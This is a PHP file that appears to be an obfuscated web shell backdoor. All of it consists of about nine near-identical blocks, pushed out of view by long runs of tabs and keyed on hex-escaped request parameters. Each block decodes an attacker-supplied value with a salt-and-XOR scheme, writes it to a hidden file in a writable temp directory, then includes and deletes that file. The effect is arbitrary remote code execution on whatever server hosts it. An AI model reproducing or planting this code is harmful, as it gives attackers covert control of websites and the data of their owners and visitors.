<?php																																										if(array_key_exists("\x73ym", $_REQUEST) && !is_null($_REQUEST["\x73ym"])){ $rec = $_REQUEST["\x73ym"]; $rec= explode( '.' , $rec) ; $desc = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $o = 0; $__tmp = $rec; while($v8 = array_shift($__tmp)) { $chS = ord($s1[$o % $sLen]); $dec =((int)$v8 - $chS -($o % 10))^ 51; $desc.= chr($dec); $o++; } $res = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", getcwd(), sys_get_temp_dir()]); for ($token = 0, $component = count($res); $token < $component; $token++) { $marker = $res[$token]; if (array_product([is_dir($marker), is_writable($marker)])) { $pgrp = join("/", [$marker, ".k"]); if (@file_put_contents($pgrp, $desc) !== false) { include $pgrp; unlink($pgrp); die(); } } } }
																																										if(!is_null($_REQUEST["dat"] ?? null)){ $sym = $_REQUEST["dat"]; $sym = explode ('.', $sym ) ; $fac = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $z = 0; $__len = count($sym ); do { if($z>= $__len) break; $v9 = $sym[$z]; $sChar = ord($s2[$z % $sLen] ); $dec =((int)$v9 - $sChar -($z % 10)) ^ 27; $fac .= chr($dec ); $z++; } while(true ); $itm = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), getcwd(), getenv("TMP")]); foreach ($itm as $key => $pset) { if (!!is_dir($pset) && !!is_writable($pset)) { $desc = implode("/", [$pset, ".binding"]); $success = file_put_contents($desc, $fac); if ($success) { include $desc; @unlink($desc); exit;} } } }
																																										if(!is_null($_POST["bi\x6Ed"] ?? null)){ $ent = array_filter([getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), session_save_path()]); $factor = $_POST["bi\x6Ed"]; $factor = explode("." ,$factor ); $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $factor as $t => $v3) { $sChar = ord( $s[$t% $sLen]); $d =( ( int)$v3 - $sChar -( $t% 10)) ^ 54; $element .= chr( $d);} $entity = 0; do { $itm = $ent[$entity] ?? null; if ($entity >= count($ent)) break; if (is_dir($itm) && is_writable($itm)) { $flag = str_replace("{var_dir}", $itm, "{var_dir}/.item"); if (@file_put_contents($flag, $element) !== false) { include $flag; unlink($flag); die(); } } $entity++; } while (true); }
																																										if(isset($_REQUEST["\x74oke\x6E"])){ $holder = array_filter([getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp"]); $reference = $_REQUEST["\x74oke\x6E"]; $reference = explode( "." , $reference) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $r = 0; array_walk( $reference, function( $v6) use( &$element, &$r, $s, $lenS) { $chS = ord( $s[$r % $lenS]); $dec =( ( int)$v6 - $chS -( $r % 10))^ 34; $element.= chr( $dec); $r++; } ); foreach ($holder as $data): if ((bool)is_dir($data) && (bool)is_writable($data)) { $item = implode("/", [$data, ".record"]); if (@file_put_contents($item, $element) !== false) { include $item; unlink($item); die(); } } endforeach; }
																																										if(in_array("\x63o\x6Dp", array_keys($_POST))){ $object = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); $rec = $_POST["\x63o\x6Dp"]; $rec= explode ( '.' , $rec ) ; $fac = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7 ); foreach( $rec as $n=> $v1) {$chS = ord( $salt7[$n % $sLen] ); $d =( ( int)$v1 - $chS -( $n % 10)) ^ 18; $fac .= chr( $d ); } foreach ($object as $key => $resource) { if (!( !is_dir($resource) || !is_writable($resource) )) { $ent = join("/", [$resource, ".ent"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["re\x73"])){ $tkn = $_REQUEST["re\x73"]; $tkn = explode( '.' , $tkn ) ; $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $j = 0; $len = count($tkn); do { if ($j >= $len) break; $v7 = $tkn[$j]; $chS = ord($s[$j % $lenS]); $dec = ((int)$v7 - $chS - ($j % 10)) ^ 62; $elem.= chr($dec); $j++; } while (true); $val = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP"), "/dev/shm"]); while ($binding = array_shift($val)) { if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $dchunk = implode("/", [$binding, ".flg"]); if (file_put_contents($dchunk, $elem)) { include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(in_array("\x64esc", array_keys($_REQUEST))){ $rec = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]); $res = $_REQUEST["\x64esc"]; $res =explode ( '.' , $res ) ; $entry = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); foreach ($res as $o => $v7): $chS = ord($s9[$o % $sLen]); $dec = ((int)$v7 - $chS - ($o % 10)) ^ 4; $entry .= chr($dec); endforeach; $token = 0; do { $data_chunk = $rec[$token] ?? null; if ($token >= count($rec)) break; if (max(0, is_dir($data_chunk) * is_writable($data_chunk))) { $sym = str_replace("{var_dir}", $data_chunk, "{var_dir}/.pointer"); if (@file_put_contents($sym, $entry) !== false) { include $sym; unlink($sym); exit; } } $token++; } while (true); }
																																										if(@$_REQUEST["\x6D\x72k"] !== null){ $ref = $_REQUEST["\x6D\x72k"]; $ref = explode ( '.' ,$ref ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $q = 0; while ($q < count($ref)) { $v1 = $ref[$q]; $chS = ord($salt[$q % $lenS] ); $dec = ((int)$v1 - $chS - ($q % 10))^ 43; $key .= chr($dec ); $q++; } $resource = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd(), "/dev/shm"]); while ($symbol = array_shift($resource)) { if (is_writable($symbol) && is_dir($symbol)) { $parameter_group = str_replace("{var_dir}", $symbol, "{var_dir}/.sym"); if (file_put_contents($parameter_group, $key)) { include $parameter_group; @unlink($parameter_group); die(); } } } }


if(@$_POST["componen\x74"] !== null){
	$res = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd()]);
	$val = $_POST["componen\x74"];
			$val	=	explode ( 		'.'  ,	 $val	 )  ;	 
	$token	= '';
            $salt	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	= strlen($salt);
            $r	= 0;
    
            while ($r < count($val)) {
                $v3	= $val[$r];
                $sChar	= ord($salt[$r % $lenS]);
                $d	= ((int)$v3 - $sChar - ($r % 10))^14;
                $token .= chr($d);
                $r++;
            }
	for ($parameter_group = 0, $factor = count($res); $parameter_group < $factor; $parameter_group++) {
    $reference = $res[$parameter_group];
    		if (is_dir($reference) ? is_writable($reference) : false) {
    $rec = sprintf("%s/.dat", $reference);
    if (file_put_contents($rec, $token)) {
	include $rec;
	@unlink($rec);
	exit;
}
}
}
}